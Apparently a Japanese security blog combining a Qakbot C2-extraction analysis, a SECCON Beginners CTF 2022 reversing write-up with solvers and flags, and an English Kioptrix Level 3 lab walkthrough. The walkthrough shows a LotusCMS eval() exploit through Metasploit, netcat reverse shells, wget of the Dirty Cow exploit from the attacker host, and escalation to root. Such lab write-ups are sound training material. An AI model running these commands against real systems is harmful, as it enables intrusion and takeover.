QakbotのC2通信先について(2022/6、2022/9時点)

はじめに

この記事の内容は2022年6月および2022年9月時点での解析で確認したQbotについての記事です。

Qakbotのリソースセクション

Qakbotをアンパックした後のPEファイル内には二つのリソースが含まれている。

アンパック後のQbotのリソース

このリソースにはQbotのキャンペーンIDとC2通信先がRC4で暗号化された状態で含まれている。サイズが小さいほうのリソースにキャンペーンIDが、サイズが大きいほうのリソースにC2通信先が含まれている。

このリソースの復号の処理は次の通りである。

Qbotのリソースの復号処理

リソース全体をRC4で復号した後、復号したデータの20バイト以降のSHA1ハッシュ値と復号したデータの20バイトまでのデータを比較している。

RC4の復号に使われる鍵は、検体内に暗号化されて格納されている文字列をSHA1でハッシュ計算したものである。2022年6月や9月の検体では次の文字列であった。(ハッシュ値2fbafdc0451de65322a9aee65f28be319ad9574e)

\System32\WindowsPowerShel1\v1.0\powershel1.exe

Qbotのリソース復号の鍵

C2のリソースを復号すると次のようなデータとなる。0x01で区切られて、「IP」、「ポート」の順番となっている。

QbotのC2のリソース復号

検体のC2はこのように抽出可能だが、検体を外に出してもよければ「Tria.ge」や「CAPE」などのオンラインサンドボックスを活用するのが早い。

厳格な環境であればこの記事の内容をもとにスクリプトを組むのは容易いだろう。私が作成したスクリプトは以下に置いておくので必要に応じて参考・使用してもらえれば

gist.github.com

検体のハッシュ値 (2022/10/5追記)

今回のブログを書く上で確認した検体のハッシュ値は次の通り

  • 2022/6の検体:117a60cb0cde4199a78f99d4f6eb5f50
  • 2022/9の検体:3fd6ff929bb62358cee961d45ff1471d

SECCON Beginners CTF2022 Writeup [Reversing]

はじめに

SECCON Beginners CTF 2022のReversingのWriteupです。今年はReversingは全問といたのでReversing全問書きます。ちなみにLinuxのバイナリは動かしてないですので、こういう動きするんだろうなぁとは思いながら解いていますが、実際に動的解析しながら動かすとどうなるかとかは知りません。(Linuxバイナリ解析する環境を整えてないのでGhidraとIDA Freeで戦いました。)

Quiz

GhidraでStringsを見たらflagが書いてある。(stringsコマンドでも十分)

ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

WinTLS

TLSHTTPS通信のほうではなく Thread Local Storage。

GhidraでStringsを見ながら、Referenceをたどるとメインの処理をしている関数が見つかる。(わかりやすいように変数名とかは変更している)

メイン処理ではt1t2関数に対し、入力した文字列を引数として渡し、スレッドを実行している。また、t1t2のリターン結果によって、正解か間違いかを判定している。

t1関数の動作を見てみると次のようになっている

t1関数の動作は次の通り

  • 入力した文字列が3もしくは5で割り切れるとき、その文字をbufferに追加
  • check関数で、TlsSetValueで設定したc4{fAPu8#FHh2+0cyo8$SWJH3a8Xとbufferをチェック

逆にt2関数の動作は次のようになっていた。

  • 入力した文字列が3もしくは5で割り切れないとき、その文字をbufferに追加
  • check関数で、TlsSetValueで設定したtfb%s$T9NvFyroLh@89a9yoC3rPy&3b}とbufferをチェック

ここまで動作が分かったのでpythonでソルバを書く

s1 = "c4{fAPu8#FHh2+0cyo8$SWJH3a8X"
s2 = "tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}"
ans = ""
c1 =0
c2 = 0
for i in range(60):
     if i % 3 == 0 or i % 5 == 0:
             ans += s1[c1]
             c1 = c1 + 1
     else:
             ans += s2[c2]
             c2 = c2 + 1
print(ans)
#ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}

ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}

Recursive

Ghidraで見ると、問題名の通り再帰的にcheck関数を読んでおり、入力した文字列をチェックしている。

読めば簡単だが、文字列を半分にどんどん区切っていき、文字列が1文字となったときにtableにあるデータと一致しているかを確認している。

今回はtableデータを使っているのでGhidraスクリプトを使う。

dat = getBytes(toAddr(0x00104020),512)
res = []
def check(number , offset):
    if number == 1:
        res.append(dat[offset])
    else:
        half = number / 2
        check(half, offset)
        if number % 2 == 0:
            check(half, half * half + offset)
        else:
            check(half + 1, half * half + offset)

check(0x26,0)
print("".join(res))
#ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}

ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}

Ransom

Ghidraでコードを読むと次の処理になっている。

  • RC4のカギを作成
  • ctf4b_super_secret.txt ファイルの内容を読み込む
  • rc4で読み込んだファイルの内容を暗号化し、ctf4b_super_secret.txt.lockに書き込む
  • 192.168.0.225:8080にRC4のカギを送付する

そのためpcapファイルからRC4のカギを入手し、復号すればよい。

カギはrgUAvvyfyApNPEYg

なお、ctf4b_super_secret.txtに書き込むときに%02xの書式で書き込んでいるので、そこだけ注意する。私はバイナリエディタでファイルを開いてコピーした

enc=b'\x2b\xa9\xf3\x6f\xa2\x2e\xcd\xf3\x78\xcc\xb7\xa0\xde\x6d\xb1\xd4\x24\x3c\x8a\x89\xa3\xce\xab\x30\x7f\xc2\xb9\x0c\xb9\xf4\xe7\xda\x25\xcd\xfc\x4e\xc7\x9e\x7e\x43\x2b\x3b\xdc\x09\x80\x96\x95\xf6\x76\x10'
key = b"rgUAvvyfyApNPEYg"
cipher = ARC4.new(key)
cipher.decrypt(enc)
#b'ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}\n'

ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}

please_not_debug_me

Ghidraで見ると、データを0x16でxorを取り、そのデータを実行していることがわかる。

適当にGhidraのPythonスクリプトを使って書き出しておく。

length = 0x41a0
dat = getBytes(toAddr(0x00104020), length)
with open('unpack', 'wb') as f:
     f.write(bytearray([(i ^ 0x16) & 0xff for i in dat]))

書き出したファイルはLinuxの実行ファイルだがGhidraでELF Formatで読み込もうとするとエラーがでてうまく読み込んでくれなかったのでIDA Freeで読み込んでもらった。

IDAで読み込むと気になる文字列が見当たるのでそのあたりの関数を見ていく。

Correctといった文字列の直前にsub_17d1関数を呼び出しており、ここでフラグ文字列を参照していると思われることがわかる(Usage: %s path_to_flag_fileという文字列もあるので)

ここの処理を追っていくと、"b14be7`2i<hoj;mnq&#+#-!$,//xy$)/D"の文字を文字列の順番でxorした値を鍵としたRC4の処理が見つかる。(正直またRC4かと思った)

復号するデータはunk_4020のデータというのがわかる。これで復号したところflagが得られた。

from Crypt.Cipher import ARC4
rc4_key_enc=[0x62,0x31,0x34,0x62,0x65,0x37,0x60,0x32,0x69,0x3C,0x68,0x6F,0x6A,0x3B,0x6D,0x6E,0x71,0x26,0x23,0x2B,0x23,0x2D,0x21,0x24,0x2C,0x2F,0x2F,0x78,0x79,0x24,0x29,0x2F,0x44,0x11,0x16,0x45,0x10,0x10,0x1F,0x43]

enc_data=[0x27,0x0D9,0x65,0x3A,0x0F,0x25,0x0E4,0x0E,0x81,0x8A,0x59,0x0BC,0x33,0x0FB,0x0F9,0x0FC,0x5,0x0C6,0x33,0x1,0x0E2,0x0B0,0x0BE,0x8E,0x4A,0x9C,0x0A9,0x46,0x73,0xB8,0x48,0x7D,0x7F,0x73,0x22,0x0EC,0xDB,0x0DC,0x98,0x0D9,0x90,0x61,0x80,0x7C,0x6C,0x0B3,0x36,0x42,0x3F,0x90,0x44,0x85,0x0D,0x95,0x0B1,0x0EE,0x0FA,0x94,0x85,0x0C,0x0B9,0x9F]

key=bytearray([i ^ rc4_key_enc[i] for i in range(len(rc4_key_enc))])
cipher = ARC4.new(key1)
print(cipher.decrypt(bytearray(enc_data)))
b'ctf4b{D0_y0u_kn0w_0f_0th3r_w4y5_t0_d3t3ct_d36u991n9_1n_L1nux?}'

ctf4b{D0_y0u_kn0w_0f_0th3r_w4y5_t0_d3t3ct_d36u991n9_1n_L1nux?

感想

個人的にReversingは去年よりも初心者がとっつきやすい問題で、Reversing初心者におすすめな難易度と思い、自分も参考にしたい内容でした。解いてて楽しいReversing問題でした

RC4は2回連続したのは「またRC4か」というのが正直な感想。ただ、マルウェアもよく使うし見慣れて損はない暗号だし、そういう意図があったのかなとは思いました。

Kioptrix Level3(#1.3) Walkthrough

This article shows walkthrough of Kioptrix Level3

Enumeration

Nmap

$ ipaddr=192.168.174.146
$ ports=$(nmap -p- --min-rate=1000 -T4 $ipaddr | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
$ nmap -sC -sV -p$ports $ipaddr
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-19 23:57 EDT
Nmap scan report for kioptrix3.com (192.168.174.146)
Host is up (0.00039s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 
|   1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_  2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Ligoat Security - Got Goat? Security ...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.68 seconds

Target only has started two service, SSH and Web.

Nikto

I use Nikto, but I don't get useful information.

$ nikto -h $ipaddr
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.174.146
+ Target Hostname:    192.168.174.146
+ Target Port:        80
+ Start Time:         2021-09-20 03:52:44 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
+ Cookie PHPSESSID created without the httponly flag
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ Server may leak inodes via ETags, header found with file /favicon.ico, inode: 631780, size: 23126, mtime: Fri Jun  5 15:22:00 2009
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ OSVDB-3092: /phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ 7914 requests: 0 error(s) and 19 item(s) reported on remote host
+ End Time:           2021-09-20 03:53:12 (GMT-4) (28 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Web access

Target hosted blog with LotusCMS.

f:id:kataware8136:20210920205400p:plain

Searchsploit shows some exploit code for LotusCMS.

$ searchsploit Lotus CMS
--------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                             |  Path
--------------------------------------------------------------------------- ---------------------------------
Lotus CMS Fraise 3.0 - Local File Inclusion / Remote Code Execution        | php/webapps/15964.py
Lotus Core CMS 1.0.1 - Local File Inclusion                                | php/webapps/47985.txt
Lotus Core CMS 1.0.1 - Remote File Inclusion                               | php/webapps/5866.txt
LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit)              | php/remote/18565.rb
LotusCMS 3.0.3 - Multiple Vulnerabilities                                  | php/webapps/16982.txt
--------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

OWASP Zap

OWASP Zap shows target has server side code injection vulnerability.

f:id:kataware8136:20210920205243p:plain

I tested the parameter showed by OWASP Zap. Target returns eval error.

f:id:kataware8136:20210920212525p:plain

I guess LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit) code can be useful

Exploit

Use metasploit or exploit code published Github by Hood3dRob1n

GitHub - Hood3dRob1n/LotusCMS-Exploit: LotusCMS 3.0 eval() Remote Command Execution

Use Metasploit

First, I use default payload php/meterpreter/reverse_tcp, but it's missed.

$ msfconsole
                                                  
 _                                                    _
/ \    /\         __                         _   __  /_/ __                                                  
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \                                                 
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|                                                
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_                                                
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\                                               
                                                                                                             

       =[ metasploit v6.1.5-dev                           ]
+ -- --=[ 2163 exploits - 1147 auxiliary - 367 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 8 evasion                                       ]

Metasploit tip: Metasploit can be configured at startup, see 
msfconsole --help to learn more

msf6 > search LotusCMS

Matching Modules
================

   #  Name                              Disclosure Date  Rank       Check  Description
   -  ----                              ---------------  ----       -----  -----------
   0  exploit/multi/http/lcms_php_exec  2011-03-03       excellent  Yes    LotusCMS 3.0 eval() Remote Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/lcms_php_exec

msf6 > use exploit/multi/http/lcms_php_exec 
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/lcms_php_exec) >
msf6 exploit(multi/http/lcms_php_exec) > set RHOSTS kioptrix3.com
RHOSTS => kioptrix3.com
msf6 exploit(multi/http/lcms_php_exec) > set URI /
URI => /
msf6 exploit(multi/http/lcms_php_exec) > exploit

[*] Started reverse TCP handler on 192.168.174.132:4444 
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Exploit completed, but no session was created.

After miss of exploit, I change the payload php/meterpreter/reverse_tcp to generic/shell_reverse_tcp.

msf6 exploit(multi/http/lcms_php_exec) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf6 exploit(multi/http/lcms_php_exec) > show options

Module options (exploit/multi/http/lcms_php_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.174.146  yes       The target host(s), see https://github.com/rapid7/metasploit-framewo
                                       rk/wiki/Using-Metasploit
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   URI      /                yes       URI
   VHOST                     no        HTTP server virtual host


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.174.132  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic LotusCMS 3.0


msf6 exploit(multi/http/lcms_php_exec) > exploit

[*] Started reverse TCP handler on 192.168.174.132:4444 
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Command shell session 1 opened (192.168.174.132:4444 -> 192.168.174.146:33062) at 2021-09-21 09:53:05 -0400

whoami
www-data

Success!!

Use Hood3dRob1n's Code

lotusRCE.sh requires target IP address and lotus cms's home directory.

Before execute shellcode, prepare waiting port such as nc -l -p 4242.

$./lotusRCE.sh  192.168.174.146 /
Path found, now to check for vuln....

</html>Hood3dRob1n
Regex found, site is vulnerable to PHP Code Injection!

About to try and inject reverse shell....
what IP to use?
192.168.174.132
What PORT?
4242

OK, open your local listener and choose the method for back connect: 
1) NetCat -e
2) NetCat /dev/tcp
3) NetCat Backpipe
4) NetCat FIFO
5) Exit
#? 1

After select 1, terminal which prepared for waiting port may be used as shell.

$ nc -l -p 4242
whoami
www-data

Privilege Escalation

Default shell is too inconvenience. I use python to use tty.

python -c 'import pty; pty.spawn("/bin/bash")'
www-data@Kioptrix3:/home/www/kioptrix3.com$ 

I collect OS Information. Target machine is Linux kernel 2.6.24.

$ uname -a
uname -a
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux

Dirty Cow exploit may be used.(Dirty Cow is worked in Linux Kernel before 3.19.0-73.8).

www-data@Kioptrix3:/home/www/kioptrix3.com$ cd /tmp
www-data@Kioptrix3:/tmp$ wget http://192.168.174.132/40839.c
wget http://192.168.174.132/40839.c
--08:00:03--  http://192.168.174.132/40839.c
           => `40839.c'
Connecting to 192.168.174.132:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4,814 (4.7K) [text/x-csrc]

100%[====================================>] 4,814         --.--K/s             

08:00:03 (884.92 MB/s) - `40839.c' saved [4814/4814]

www-data@Kioptrix3:/tmp$ gcc -pthread 40839.c -o dirty -lcrypt
www-data@Kioptrix3:/tmp$ ./dirty password
Complete line:
firefart:fijI1lDcvwk7k:0:0:pwned:/root:/bin/bash

mmap: b7fe0000
$ su firefart
Password: password

firefart@Kioptrix3:/home/www/kioptrix3.com# id
uid=0(firefart) gid=0(root) groups=0(root)

I can get root group. That's all.